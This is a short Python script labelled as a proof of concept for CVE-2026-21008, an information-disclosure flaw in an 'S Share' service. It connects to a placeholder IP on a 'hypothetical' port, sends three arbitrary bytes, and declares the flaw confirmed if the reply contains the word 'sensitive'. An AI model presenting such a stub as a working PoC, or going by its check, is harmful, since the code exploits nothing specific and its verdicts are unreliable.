The following code is for security research and authorized testing only.
python
import socket
import sys
# PoC for CVE-2026-21008: Information Disclosure in S Share
# Description: This script attempts to connect to the vulnerable S Share service
# on a target device within the adjacent network to check for information disclosure.
# Note: This is a conceptual demonstration for educational purposes.
TARGET_IP = "192.168.1.X" # Replace with target IP
TARGET_PORT = 12345 # Hypothetical vulnerable port
def check_vulnerability(ip, port):
try:
print(f"[*] Attempting to connect to {ip}:{port}...")
# Establish socket connection (Simulating Adjacent Network Attack)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
# Send a probe packet (Simulating No Auth/No Interaction)
payload = b"\x00\x01\x02" # Example probe
s.send(payload)
# Receive response
response = s.recv(1024)
print("[+] Response received:")
print(response.decode('utf-8', errors='ignore'))
# Check if sensitive data pattern exists (Mock check)
if b"sensitive" in response.lower():
print("[!] Vulnerability Confirmed: Sensitive information exposed.")
else:
print("[-] Service responded but no obvious data leak detected in this probe.")
s.close()
except Exception as e:
print(f"[-] Connection failed or service not reachable: {e}")
if __name__ == "__main__":
check_vulnerability(TARGET_IP, TARGET_PORT)